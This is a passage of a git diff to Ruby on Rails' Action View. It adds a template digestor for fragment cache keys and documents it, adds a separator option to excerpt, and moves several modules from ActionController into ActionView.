+++ b/actionpack/lib/action_view.rb
@@ -33,12 +33,14 @@ module ActionView
autoload :Base
autoload :Context
autoload :CompiledTemplates, "action_view/context"
+ autoload :Digestor
autoload :Helpers
autoload :LookupContext
autoload :PathSet
+ autoload :RecordIdentifier
+ autoload :RoutingUrlFor
autoload :Template
-
autoload_under "renderer" do
autoload :Renderer
autoload :AbstractRenderer
@@ -69,6 +71,7 @@ module ActionView
autoload :MissingTemplate
autoload :ActionViewError
autoload :EncodingError
+ autoload :MissingRequestError
autoload :TemplateError
autoload :WrongEncodingError
end
@@ -77,6 +80,11 @@ module ActionView
autoload :TestCase
ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
+ def self.eager_load!
+ super
+ ActionView::Template.eager_load!
+ end
end
require 'active_support/core_ext/string/output_safety'
diff --git a/actionpack/lib/action_view/asset_paths.rb b/actionpack/lib/action_view/asset_paths.rb
index 81880d17ea..4bbb31b3ee 100644
--- a/actionpack/lib/action_view/asset_paths.rb
+++ b/actionpack/lib/action_view/asset_paths.rb
@@ -1,6 +1,5 @@
require 'zlib'
require 'active_support/core_ext/file'
-require 'action_controller/metal/exceptions'
module ActionView
class AssetPaths #:nodoc:
@@ -98,7 +97,7 @@ module ActionView
end
def invalid_asset_host!(help_message)
- raise ActionController::RoutingError, "This asset host cannot be computed without a request in scope. #{help_message}"
+ raise ActionView::MissingRequestError, "This asset host cannot be computed without a request in scope. #{help_message}"
end
# Pick an asset host for this source. Returns +nil+ if no host is set,
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
index 749332eca7..3464ec523e 100644
--- a/actionpack/lib/action_view/base.rb
+++ b/actionpack/lib/action_view/base.rb
@@ -146,6 +146,9 @@ module ActionView #:nodoc:
cattr_accessor :prefix_partial_path_with_controller_namespace
@@prefix_partial_path_with_controller_namespace = true
+ # Specify default_formats that can be rendered.
+ cattr_accessor :default_formats
+
class_attribute :_routes
class_attribute :logger
@@ -178,8 +181,6 @@ module ActionView #:nodoc:
def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
@_config = ActiveSupport::InheritableOptions.new
- # Handle all these for backwards compatibility.
- # TODO Provide a new API for AV::Base and deprecate this one.
if context.is_a?(ActionView::Renderer)
@view_renderer = context
else
diff --git a/actionpack/lib/action_view/digestor.rb b/actionpack/lib/action_view/digestor.rb
new file mode 100644
index 0000000000..5d3add4091
--- /dev/null
+++ b/actionpack/lib/action_view/digestor.rb
@@ -0,0 +1,104 @@
+module ActionView
+ class Digestor
+ EXPLICIT_DEPENDENCY = /# Template Dependency: ([^ ]+)/
+
+ # Matches:
+ # render partial: "comments/comment", collection: commentable.comments
+ # render "comments/comments"
+ # render 'comments/comments'
+ # render('comments/comments')
+ #
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ RENDER_DEPENDENCY = /
+ render\s* # render, followed by optional whitespace
+ \(? # start an optional parenthesis for the render call
+ (partial:|:partial\s+=>)?\s* # naming the partial, used with collection -- 1st capture
+ ([@a-z"'][@a-z_\/\."']+) # the template name itself -- 2nd capture
+ /x
+
+ cattr_reader(:cache)
+ @@cache = Hash.new
+
+ def self.digest(name, format, finder, options = {})
+ cache["#{name}.#{format}"] ||= new(name, format, finder, options).digest
+ end
+
+ attr_reader :name, :format, :finder, :options
+
+ def initialize(name, format, finder, options = {})
+ @name, @format, @finder, @options = name, format, finder, options
+ end
+
+ def digest
+ Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
+ logger.try :info, "Cache digest for #{name}.#{format}: #{digest}"
+ end
+ rescue ActionView::MissingTemplate
+ logger.try :error, "Couldn't find template for digesting: #{name}.#{format}"
+ ''
+ end
+
+ def dependencies
+ render_dependencies + explicit_dependencies
+ rescue ActionView::MissingTemplate
+ [] # File doesn't exist, so no dependencies
+ end
+
+ def nested_dependencies
+ dependencies.collect do |dependency|
+ dependencies = Digestor.new(dependency, format, finder, partial: true).nested_dependencies
+ dependencies.any? ? { dependency => dependencies } : dependency
+ end
+ end
+
+ private
+
+ def logger
+ ActionView::Base.logger
+ end
+
+ def logical_name
+ name.gsub(%r|/_|, "/")
+ end
+
+ def directory
+ name.split("/").first
+ end
+
+ def partial?
+ options[:partial] || name.include?("/_")
+ end
+
+ def source
+ @source ||= finder.find(logical_name, [], partial?, formats: [ format ]).source
+ end
+
+ def dependency_digest
+ dependencies.collect do |template_name|
+ Digestor.digest(template_name, format, finder, partial: true)
+ end.join("-")
+ end
+
+ def render_dependencies
+ source.scan(RENDER_DEPENDENCY).
+ collect(&:second).uniq.
+
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ collect { |name| name.sub(/\A@?([a-z]+\.)*([a-z_]+)\z/) { "#{$2.pluralize}/#{$2.singularize}" } }.
+
+ # render("headline") => render("message/headline")
+ collect { |name| name.include?("/") ? name : "#{directory}/#{name}" }.
+
+ # replace quotes from string renders
+ collect { |name| name.gsub(/["']/, "") }
+ end
+
+ def explicit_dependencies
+ source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
index 68b0195700..27ba57ff58 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
@@ -209,19 +209,27 @@ module ActionView
# * <tt>:title</tt> - Specify the title of the link, defaults to the +type+
#
# ==== Examples
- # auto_discovery_link_tag # =>
- # <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
- # auto_discovery_link_tag(:atom) # =>
- # <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
- # auto_discovery_link_tag(:rss, {:action => "feed"}) # =>
- # <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
- # auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"}) # =>
- # <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
- # auto_discovery_link_tag(:rss, {:controller => "news", :action => "feed"}) # =>
- # <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
- # auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "Example RSS"}) # =>
- # <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
+ # auto_discovery_link_tag
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+ # auto_discovery_link_tag(:atom)
+ # # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+ # auto_discovery_link_tag(:rss, {:action => "feed"})
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+ # auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})
+ # # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+ # auto_discovery_link_tag(:rss, {:controller => "news", :action => "feed"})
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+ # auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "Example RSS"})
+ # # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
+ if !(type == :rss || type == :atom) && tag_options[:type].blank?
+ message = "You have passed type other than :rss or :atom to auto_discovery_link_tag and haven't supplied " +
+ "the :type option key. This behavior is deprecated and will be remove in Rails 4.1. You should pass " +
+ ":type option explicitly if you want to use other types, for example: " +
+ "auto_discovery_link_tag(:xml, '/feed.xml', :type => 'application/xml')"
+ ActiveSupport::Deprecation.warn message
+ end
+
tag(
"link",
"rel" => tag_options[:rel] || "alternate",
@@ -356,22 +364,22 @@ module ActionView
#
# * <tt>:alt</tt> - If no alt text is given, the file name part of the
# +source+ is used (capitalized and without the extension)
- # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
- # width="30" and height="45". <tt>:size</tt> will be ignored if the
- # value is not in the correct format.
+ # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+ # width="30" and height="45", and "50" becomes width="50" and height="50".
+ # <tt>:size</tt> will be ignored if the value is not in the correct format.
#
- # image_tag("icon") # =>
- # <img src="/assets/icon" alt="Icon" />
- # image_tag("icon.png") # =>
- # <img src="/assets/icon.png" alt="Icon" />
- # image_tag("icon.png", :size => "16x10", :alt => "Edit Entry") # =>
- # <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
- # image_tag("/icons/icon.gif", :size => "16x16") # =>
- # <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
- # image_tag("/icons/icon.gif", :height => '32', :width => '32') # =>
- # <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
- # image_tag("/icons/icon.gif", :class => "menu_icon") # =>
- # <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+ # image_tag("icon")
+ # # => <img src="/assets/icon" alt="Icon" />
+ # image_tag("icon.png")
+ # # => <img src="/assets/icon.png" alt="Icon" />
+ # image_tag("icon.png", :size => "16x10", :alt => "Edit Entry")
+ # # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
+ # image_tag("/icons/icon.gif", :size => "16")
+ # # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+ # image_tag("/icons/icon.gif", :height => '32', :width => '32')
+ # # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+ # image_tag("/icons/icon.gif", :class => "menu_icon")
+ # # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
def image_tag(source, options={})
options = options.symbolize_keys
@@ -382,7 +390,8 @@ module ActionView
end
if size = options.delete(:size)
- options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
+ options[:width], options[:height] = size.split("x") if size =~ %r{\A\d+x\d+\z}
+ options[:width] = options[:height] = size if size =~ %r{\A\d+\z}
end
tag("img", options)
@@ -408,24 +417,24 @@ module ActionView
# width="30" and height="45". <tt>:size</tt> will be ignored if the
# value is not in the correct format.
#
- # video_tag("trailer") # =>
- # <video src="/videos/trailer" />
- # video_tag("trailer.ogg") # =>
- # <video src="/videos/trailer.ogg" />
- # video_tag("trailer.ogg", :controls => true, :autobuffer => true) # =>
- # <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
- # video_tag("trailer.m4v", :size => "16x10", :poster => "screenshot.png") # =>
- # <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
- # video_tag("/trailers/hd.avi", :size => "16x16") # =>
- # <video src="/trailers/hd.avi" width="16" height="16" />
- # video_tag("/trailers/hd.avi", :height => '32', :width => '32') # =>
- # <video height="32" src="/trailers/hd.avi" width="32" />
- # video_tag("trailer.ogg", "trailer.flv") # =>
- # <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
- # video_tag(["trailer.ogg", "trailer.flv"]) # =>
- # <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
- # video_tag(["trailer.ogg", "trailer.flv"], :size => "160x120") # =>
- # <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ # video_tag("trailer")
+ # # => <video src="/videos/trailer" />
+ # video_tag("trailer.ogg")
+ # # => <video src="/videos/trailer.ogg" />
+ # video_tag("trailer.ogg", :controls => true, :autobuffer => true)
+ # # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
+ # video_tag("trailer.m4v", :size => "16x10", :poster => "screenshot.png")
+ # # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
+ # video_tag("/trailers/hd.avi", :size => "16x16")
+ # # => <video src="/trailers/hd.avi" width="16" height="16" />
+ # video_tag("/trailers/hd.avi", :height => '32', :width => '32')
+ # # => <video height="32" src="/trailers/hd.avi" width="32" />
+ # video_tag("trailer.ogg", "trailer.flv")
+ # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ # video_tag(["trailer.ogg", "trailer.flv"])
+ # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ # video_tag(["trailer.ogg", "trailer.flv"], :size => "160x120")
+ # # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
def video_tag(*sources)
multiple_sources_tag('video', sources) do |options|
options[:poster] = path_to_image(options[:poster]) if options[:poster]
diff --git a/actionpack/lib/action_view/helpers/cache_helper.rb b/actionpack/lib/action_view/helpers/cache_helper.rb
index 39518268df..59e1015976 100644
--- a/actionpack/lib/action_view/helpers/cache_helper.rb
+++ b/actionpack/lib/action_view/helpers/cache_helper.rb
@@ -13,10 +13,9 @@ module ActionView
# kick out old entries. For more on key-based expiration, see:
# http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
#
- # When using this method, you list the cache dependencies as part of
- # the name of the cache, like so:
+ # When using this method, you list the cache dependency as the name of the cache, like so:
#
- # <% cache [ "v1", project ] do %>
+ # <% cache project do %>
# <b>All the topics on this project</b>
# <%= render project.topics %>
# <% end %>
@@ -24,15 +23,89 @@ module ActionView
# This approach will assume that when a new topic is added, you'll touch
# the project. The cache key generated from this call will be something like:
#
- # views/v1/projects/123-20120806214154
- # ^class ^id ^updated_at
+ # views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
+ # ^class ^id ^updated_at ^template tree digest
#
- # If you update the rendering of topics, you just bump the version to v2.
- # Otherwise the cache is automatically bumped whenever the project updated_at
- # is touched.
+ # The cache is thus automatically bumped whenever the project updated_at is touched.
+ #
+ # If your template cache depends on multiple sources (try to avoid this to keep things simple),
+ # you can name all these dependencies as part of an array:
+ #
+ # <% cache [ project, current_user ] do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # This will include both records as part of the cache key and updating either of them will
+ # expire the cache.
+ #
+ # ==== Template digest
+ #
+ # The template digest that's added to the cache key is computed by taking an md5 of the
+ # contents of the entire template file. This ensures that your caches will automatically
+ # expire when you change the template file.
+ #
+ # Note that the md5 is taken of the entire template file, not just what's within the
+ # cache do/end call. So it's possible that changing something outside of that call will
+ # still expire the cache.
+ #
+ # Additionally, the digestor will automatically look through your template file for
+ # explicit and implicit dependencies, and include those as part of the digest.
+ #
+ # ==== Implicit dependencies
+ #
+ # Most template dependencies can be derived from calls to render in the template itself.
+ # Here are some examples of render calls that Cache Digests knows how to decode:
+ #
+ # render partial: "comments/comment", collection: commentable.comments
+ # render "comments/comments"
+ # render 'comments/comments'
+ # render('comments/comments')
+ #
+ # render "header" => render("comments/header")
+ #
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ #
+ # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived:
+ #
+ # render group_of_attachments
+ # render @project.documents.where(published: true).order('created_at')
+ #
+ # You will have to rewrite those to the explicit form:
+ #
+ # render partial: 'attachments/attachment', collection: group_of_attachments
+ # render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
+ #
+ # === Explicit dependencies
+ #
+ # Some times you'll have template dependencies that can't be derived at all. This is typically
+ # the case when you have template rendering that happens in helpers. Here's an example:
+ #
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # You'll need to use a special comment format to call those out:
+ #
+ # <%# Template Dependency: todolists/todolist %>
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so.
+ # You can only declare one template dependency per line.
+ #
+ # === External dependencies
+ #
+ # If you use a helper method, for example, inside of a cached block and you then update that helper,
+ # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file
+ # must change. One recommendation is to simply be explicit in a comment, like:
+ #
+ # <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
+ # <%= some_helper_method(person) %>
+ #
+ # Now all you'll have to do is change that timestamp when the helper method changes.
def cache(name = {}, options = nil, &block)
if controller.perform_caching
- safe_concat(fragment_for(name, options, &block))
+ safe_concat(fragment_for(fragment_name_with_digest(name), options, &block))
else
yield
end
@@ -58,6 +131,17 @@ module ActionView
controller.write_fragment(name, fragment, options)
end
end
+
+ def fragment_name_with_digest(name)
+ if @virtual_path
+ [
+ *Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name),
+ Digestor.digest(@virtual_path, formats.last.to_sym, lookup_context)
+ ]
+ else
+ name
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
index dea2aa69dd..387dfeab17 100644
--- a/actionpack/lib/action_view/helpers/date_helper.rb
+++ b/actionpack/lib/action_view/helpers/date_helper.rb
@@ -140,12 +140,19 @@ module ActionView
# Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
#
# time_ago_in_words(3.minutes.from_now) # => 3 minutes
+ # time_ago_in_words(3.minutes.ago) # => 3 minutes
# time_ago_in_words(Time.now - 15.hours) # => about 15 hours
# time_ago_in_words(Time.now) # => less than a minute
# time_ago_in_words(Time.now, :include_seconds => true) # => less than 5 seconds
#
# from_time = Time.now - 3.days - 14.minutes - 25.seconds
# time_ago_in_words(from_time) # => 3 days
+ #
+ # from_time = (3.days + 14.minutes + 25.seconds).ago
+ # time_ago_in_words(from_time) # => 3 days
+ #
+ # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
+ #
def time_ago_in_words(from_time, include_seconds_or_options = {})
distance_of_time_in_words(from_time, Time.now, include_seconds_or_options)
end
@@ -897,10 +904,13 @@ module ActionView
# <option value="3">3</option>
# <option value="5">5</option>..."
def build_options(selected, options = {})
+ options = {
+ leading_zeros: true, ampm: false, use_two_digit_numbers: false
+ }.merge!(options)
+
start = options.delete(:start) || 0
stop = options.delete(:end) || 59
step = options.delete(:step) || 1
- options.reverse_merge!({:leading_zeros => true, :ampm => false, :use_two_digit_numbers => false})
leading_zeros = options.delete(:leading_zeros)
select_options = []
@@ -912,6 +922,7 @@ module ActionView
text = options[:ampm] ? AMPM_TRANSLATION[i] : text
select_options << content_tag(:option, text, tag_options)
end
+
(select_options.join("\n") + "\n").html_safe
end
@@ -924,8 +935,8 @@ module ActionView
select_options = {
:id => input_id_from_type(type),
:name => input_name_from_type(type)
- }.merge(@html_options)
- select_options.merge!(:disabled => 'disabled') if @options[:disabled]
+ }.merge!(@html_options)
+ select_options[:disabled] = 'disabled' if @options[:disabled]
select_html = "\n"
select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
@@ -956,12 +967,15 @@ module ActionView
# build_hidden(:year, 2008)
# => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
def build_hidden(type, value)
- (tag(:input, {
+ select_options = {
:type => "hidden",
:id => input_id_from_type(type),
:name => input_name_from_type(type),
:value => value
- }.merge(@html_options.slice(:disabled))) + "\n").html_safe
+ }.merge!(@html_options.slice(:disabled))
+ select_options[:disabled] = 'disabled' if @options[:disabled]
+
+ tag(:input, select_options) + "\n".html_safe
end
# Returns the name attribute for the input tag.
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
index 5dc5bb8a98..0bb08cd7ff 100644
--- a/actionpack/lib/action_view/helpers/form_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_helper.rb
@@ -4,12 +4,12 @@ require 'action_view/helpers/tag_helper'
require 'action_view/helpers/form_tag_helper'
require 'action_view/helpers/active_model_helper'
require 'action_view/helpers/tags'
+require 'action_view/model_naming'
require 'active_support/core_ext/class/attribute_accessors'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/string/output_safety'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/string/inflections'
-require 'action_controller/model_naming'
module ActionView
# = Action View Form Helpers
@@ -115,7 +115,7 @@ module ActionView
include FormTagHelper
include UrlHelper
- include ActionController::ModelNaming
+ include ModelNaming
# Creates a form that allows the user to create or update the attributes
# of a specific model object.
@@ -720,15 +720,15 @@ module ActionView
# label(:post, :title)
# # => <label for="post_title">Title</label>
#
- # You can localize your labels based on model and attribute names.
- # For example you can define the following in your locale (e.g. en.yml)
+ # You can localize your labels based on model and attribute names.
+ # For example you can define the following in your locale (e.g. en.yml)
#
# helpers:
# label:
# post:
# body: "Write your entire text here"
#
- # Which then will result in
+ # Which then will result in
#
# label(:post, :body)
# # => <label for="post_body">Write your entire text here</label>
@@ -785,7 +785,7 @@ module ActionView
# Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
# assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
# hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
- # shown.
+ # shown. For security reasons this field is blank by default; pass in a value via +options+ if this is not desired.
#
# ==== Examples
# password_field(:login, :pass, :size => 20)
@@ -1156,7 +1156,7 @@ module ActionView
end
class FormBuilder
- include ActionController::ModelNaming
+ include ModelNaming
# The methods which wrap a form helper call.
class_attribute :field_helpers
diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb
index e4f4ebc7ff..2bb526a539 100644
--- a/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_options_helper.rb
@@ -501,14 +501,14 @@ module ActionView
#
# Possible output:
# <optgroup label="---------">
+ # <option value="US">United States</option>
+ # <option value="Canada">Canada</option>
+ # </optgroup>
+ # <optgroup label="---------">
# <option value="Denmark">Denmark</option>
# <option value="Germany">Germany</option>
# <option value="France">France</option>
# </optgroup>
- # <optgroup label="---------">
- # <option value="US">United States</option>
- # <option value="Canada">Canada</option>
- # </optgroup>
#
# <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
# wrap the output in an appropriate <tt><select></tt> tag.
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
index a9b91d1db3..f16e33d08d 100644
--- a/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb
@@ -117,7 +117,12 @@ module ActionView
# select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>".html_safe, :disabled => true
# # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
# # <option>Paris</option><option>Rome</option></select>
+ #
+ # select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+ # # => <select id="credit_card" name="credit_card"><option>VISA</option>
+ # # <option selected="selected">MasterCard</option></select>
def select_tag(name, option_tags = nil, options = {})
+ option_tags ||= ""
html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
if options.delete(:include_blank)
diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb
index 9b35f076e5..dded9aab7c 100644
--- a/actionpack/lib/action_view/helpers/record_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/record_tag_helper.rb
@@ -1,10 +1,8 @@
-require 'action_controller/record_identifier'
-
module ActionView
# = Action View Record Tag Helpers
module Helpers
module RecordTagHelper
- include ActionController::RecordIdentifier
+ include ActionView::RecordIdentifier
# Produces a wrapper DIV element with id and class parameters that
# relate to the specified Active Record object. Usage example:
diff --git a/actionpack/lib/action_view/helpers/sanitize_helper.rb b/actionpack/lib/action_view/helpers/sanitize_helper.rb
index aaf0e0344a..9c76c26ace 100644
--- a/actionpack/lib/action_view/helpers/sanitize_helper.rb
+++ b/actionpack/lib/action_view/helpers/sanitize_helper.rb
@@ -1,5 +1,5 @@
require 'active_support/core_ext/object/try'
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
module ActionView
# = Action View Sanitize Helpers
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
index 0f599d5f41..527bfe0cab 100644
--- a/actionpack/lib/action_view/helpers/text_helper.rb
+++ b/actionpack/lib/action_view/helpers/text_helper.rb
@@ -126,8 +126,9 @@ module ActionView
# Extracts an excerpt from +text+ that matches the first instance of +phrase+.
# The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
# defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
- # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. The resulting string
- # will be stripped in any case. If the +phrase+ isn't found, nil is returned.
+ # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. The
+ # <tt>:separator</tt> enable to choose the delimation. The resulting string will be stripped in any case. If the +phrase+
+ # isn't found, nil is returned.
#
# excerpt('This is an example', 'an', :radius => 5)
# # => ...s is an exam...
@@ -143,21 +144,32 @@ module ActionView
#
# excerpt('This is also an example', 'an', :radius => 8, :omission => '<chop> ')
# # => <chop> is also an example
+ #
+ # excerpt('This is a very beautiful morning', 'very', :separator => ' ', :radius => 1)
+ # # => ...a very beautiful...
def excerpt(text, phrase, options = {})
return unless text && phrase
- radius = options.fetch(:radius, 100)
- omission = options.fetch(:omission, "...")
- phrase = Regexp.escape(phrase)
- return unless found_pos = text =~ /(#{phrase})/i
+ separator = options.fetch(:separator, "")
+ phrase = Regexp.escape(phrase)
+ regex = /#{phrase}/i
+
+ return unless matches = text.match(regex)
+ phrase = matches[0]
+
+ text.split(separator).each do |value|
+ if value.match(regex)
+ regex = phrase = value
+ break
+ end
+ end
- start_pos = [ found_pos - radius, 0 ].max
- end_pos = [ [ found_pos + phrase.length + radius - 1, 0].max, text.length ].min
+ first_part, second_part = text.split(regex, 2)
- prefix = start_pos > 0 ? omission : ""
- postfix = end_pos < text.length - 1 ? omission : ""
+ prefix, first_part = cut_excerpt_part(:first, first_part, separator, options)
+ postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
- prefix + text[start_pos..end_pos].strip + postfix
+ prefix + (first_part + separator + phrase + separator + second_part).strip + postfix
end
# Attempts to pluralize the +singular+ word unless +count+ is 1. If
@@ -402,6 +414,26 @@ module ActionView
t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
end
end
+
+ def cut_excerpt_part(part_position, part, separator, options)
+ return "", "" unless part
+
+ radius = options.fetch(:radius, 100)
+ omission = options.fetch(:omission, "...")
+
+ part = part.split(separator)
+ part.delete("")
+ affix = part.size > radius ? omission : ""
+
+ part = if part_position == :first
+ drop_index = [part.length - radius, 0].max
+ part.drop(drop_index)
+ else
+ part.first(radius)
+ end
+
+ return affix, part.join(separator)
+ end
end
end
end
diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb
index fe3240fdc1..3f65791aa0 100644
--- a/actionpack/lib/action_view/helpers/url_helper.rb
+++ b/actionpack/lib/action_view/helpers/url_helper.rb
@@ -2,7 +2,6 @@ require 'action_view/helpers/javascript_helper'
require 'active_support/core_ext/array/access'
require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/string/output_safety'
-require 'action_dispatch'
module ActionView
# = Action View URL Helpers
@@ -20,115 +19,34 @@ module ActionView
extend ActiveSupport::Concern
- include ActionDispatch::Routing::UrlFor
include TagHelper
- # We need to override url_options, _routes_context
- # and optimize_routes_generation? to consider the controller.
-
- def url_options #:nodoc:
- return super unless controller.respond_to?(:url_options)
- controller.url_options
- end
-
- def _routes_context #:nodoc:
- controller
- end
- protected :_routes_context
-
- def optimize_routes_generation? #:nodoc:
- controller.respond_to?(:optimize_routes_generation?) ?
- controller.optimize_routes_generation? : super
+ module ClassMethods
+ def _url_for_modules
+ ActionView::RoutingUrlFor
+ end
end
- protected :optimize_routes_generation?
- # Returns the URL for the set of +options+ provided. This takes the
- # same options as +url_for+ in Action Controller (see the
- # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
- # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
- # instead of the fully qualified URL like "http://example.com/controller/action".
- #
- # ==== Options
- # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
- # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
- # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
- # is currently not recommended since it breaks caching.
- # * <tt>:host</tt> - Overrides the default (current) host if provided.
- # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
- # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
- # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
- #
- # ==== Relying on named routes
- #
- # Passing a record (like an Active Record) instead of a hash as the options parameter will
- # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
- # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
- # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
- #
- # ==== Implicit Controller Namespacing
- #
- # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
- #
- # ==== Examples
- # <%= url_for(:action => 'index') %>
- # # => /blog/
- #
- # <%= url_for(:action => 'find', :controller => 'books') %>
- # # => /books/find
- #
